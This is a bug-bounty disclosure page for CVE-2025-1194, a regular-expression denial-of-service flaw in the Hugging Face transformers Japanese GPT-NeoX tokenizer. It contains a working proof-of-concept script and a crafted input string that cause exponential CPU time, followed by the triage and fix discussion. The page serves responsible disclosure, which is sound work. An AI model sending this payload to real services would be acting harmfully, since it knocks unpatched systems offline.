

✓ Valid

```
python -m venv venv
source venv/bin/activate
```

## Install requirement

```
pip install transformers
```

## References:

[https://huggingface.co/docs/transformers/en/model\\_doc/gpt\\_neox\\_japanese#transformers.GPTNeoXJapaneseTokenizer](https://huggingface.co/docs/transformers/en/model_doc/gpt_neox_japanese#transformers.GPTNeoXJapaneseTokenizer)

## Load model and run poc script:

```
import re
import time

from transformers import GPTNeoXJapaneseForCausalLM, GPTNeoXJapaneseTokenizer

tokenizer = GPTNeoXJapaneseTokenizer.from_pretrained(
    "abeja/gpt-neox-japanese-2.7b",
    do_clean_text=True,
)

for i in range(1,50):
    input_str = "111111," * i + "千ドル"
    start_time = time.time()
    gen_text = tokenizer.decode(tokenizer(input_str)["input_ids"])
    end_time = time.time()

    print(f"Execution time: {end_time - start_time:.6f} s , iteration (i={i})")
```

```
(venv) taiwhis@taiwhis:~/tools/exp_transformers_GPT-neox-jan$ python3 1.py
Execution time: 0.000603 s , iteration (i=1)
Execution time: 0.000795 s , iteration (i=2)
Execution time: 0.001943 s , iteration (i=3)
Execution time: 0.006711 s , iteration (i=4)
Execution time: 0.024984 s , iteration (i=5)
Execution time: 0.097581 s , iteration (i=6)
Execution time: 0.382358 s , iteration (i=7)
Execution time: 1.533633 s , iteration (i=8)
Execution time: 6.156276 s , iteration (i=9)
Execution time: 24.886080 s , iteration (i=10)
Execution time: 99.203249 s , iteration (i=11)
Execution time: 398.086841 s , iteration (i=12)
.....
```

At this point, increasing the sequence of `111111,` will cause the execution time to quadruple compared to the previous input, with CPU usage also gradually increasing. As the execution time grows exponentially, the response time can be estimated as the number of iterations increases. For instance, when the number of iterations reaches 21, the computation would take approximately `1203.96` days to complete. This highlights the severity of the issue when dealing with maliciously crafted inputs.

```
taiwhis@taiwhis:~/tools$ ps -p 5576 -o pid,%cpu,cmd
PID %CPU CMD
5576 100 python3 1.py
```

## Some similar huntr reports

- [Regular expression Denial of Service - ReDoS in huggingface/transformers](#)
- [Regular expression Denial of Service - ReDoS in kubeflow/kubeflow](#)
- [Inefficient Regular Expression Complexity in fb55/nth-check](#)
- [Inefficient Regular Expression Complexity in chalk/ansi-regex](#)
- [Inefficient Regular Expression Complexity in ampproject/amphtml](#)

## Impact

An attacker can exploit this by providing maliciously crafted input strings. This forces the application into intensive processing, resulting in:

- High CPU usage
- Potential application downtime Effectively, this creates a Denial of Service (DoS) scenario.

## Occurrences

 `tokenization_gpt_neox_japanese.py L234`

## References

- [How to fix a ReDoS](#)
- [Regular\\_expression\\_Denial\\_of\\_Service\\_-\\_ReDoS](#)

⚙️ We are processing your report and will contact the [huggingface/transformers](#) team within 24 hours. a year ago



**huntr-helper** commented a year ago

[Admin](#)

This report was determined to possibly be out of scope or have a high likelihood of being marked as informative.

Please review your report and the [Participation Guidelines](#).

These are the specific guidelines this report is in possible violation of:

- Local redos (regular expression denial of service) vulnerabilities that are not remotely exploitable



taiphung217 commented a year ago

Researcher

Hi @huntr-helper

APIs or services using GPTNeoXJapaneseTokenizer remain vulnerable to exploitation by remote users. If these components are integrated into applications, an attacker could trigger the vulnerability by sending malicious input strings to the server, resulting in a Denial of Service (DoS).

Indirect Impact: Any application leveraging the Transformers library utilizes `gpt_neox_japanese/tokenization_gpt_neox_japanese.py` to generate output predictions. In such cases, an attacker can exploit this vulnerability remotely.

Moreover, When increasing a payload chain, the execution time increases 4 times compared to before, so in production systems that process user input or large datasets—such as in chatbots, recommendation systems, or natural language processing services—the vulnerability could inadvertently be triggered, leading to increased CPU performance and unnecessary resource consumption.

Additionally, I referenced several related huntr reports that demonstrate the impact of ReDoS vulnerabilities on system performance.

Michelle Habonneau modified the Severity from High (7.5) to Medium (4.3) a year ago



A [huggingface/transformers](#) maintainer has acknowledged this report a year ago



The scheduled publication date was automatically extended from 22nd Apr 2025 to 29th Apr 2025 due to the maintainers acknowledgement of the report a year ago

Michelle Habonneau commented a year ago

Maintainer

Hi, Thanks for your report. We'll take a look soon to apply a fix and update this report when this is ready to be resolved. Thanks!



The researcher has received a minor penalty to their credibility for miscalculating the severity: -1



Michelle Habonneau validated this vulnerability a year ago



taiphung217 has been awarded the disclosure bounty ✓



The fix bounty is now up for grabs



The researcher's credibility has increased: +7



CVE-2025-1194 assigned to this report. a year ago



taiphung217 commented a year ago

Researcher

Thank you for your support.

For the CVE credits can you mentioned:

- TaiPhung217 from OneMount Group

Michelle Habonneau commented a year ago

Maintainer

Hi, The fix has been applied in <https://github.com/huggingface/transformers/pull/36121> and will be prodded in the next release. Once the release is done, will proceed with marking this as fixed. Sha: 92c5ca9dd70de3ade2af2eb835c96215cc50e815



Michelle Habonneau marked this as fixed in 4.50.0 with commit 92c5ca 10 months ago



The fix bounty has been dropped ✖



tokenization\_gpt\_neox\_japanese.py#L234 has been validated ✔



We have sent a warning to the [huggingface/transformers](#) team to inform them that this report will be published in 48 hours 9 months ago



We have notified the [huggingface/transformers](#) maintainers about this report in their weekly follow-up 9 months ago



This vulnerability has now been published 9 months ago



CVE-2025-1194 has now been published 9 months ago

[Sign in](#) to join this conversation

## CVE

CVE-2025-1194

Published

## Vulnerability Type

CWE-1333: Inefficient Regular Expression Complexity

## Severity

Medium (4.3)

|                     |           |
|---------------------|-----------|
| Attack vector       | Network   |
| Attack complexity   | Low       |
| Privileges required | None      |
| User interaction    | Required  |
| Scope               | Unchanged |
| Confidentiality     | None      |
| Integrity           | None      |
| Availability        | Low       |

[Open in visual CVSS calculator](#)

Registry

Pypi

Affected Version

v4.48.1(latest)

Visibility

Public

Status

Fixed

Disclosure Bounty

\$125

Fix Bounty

\$31.25

Found by



taiphung217

@taiphung217

MIDDLEWEIGHT



Supported by [Palo Alto Networks](#) and Prisma AIRS, leading the way to greater AI security.



© 2024

[Privacy Policy](#)

[Terms of Service](#)

[Code of Conduct](#)

[Cookie Preferences](#)

[Contact Us](#)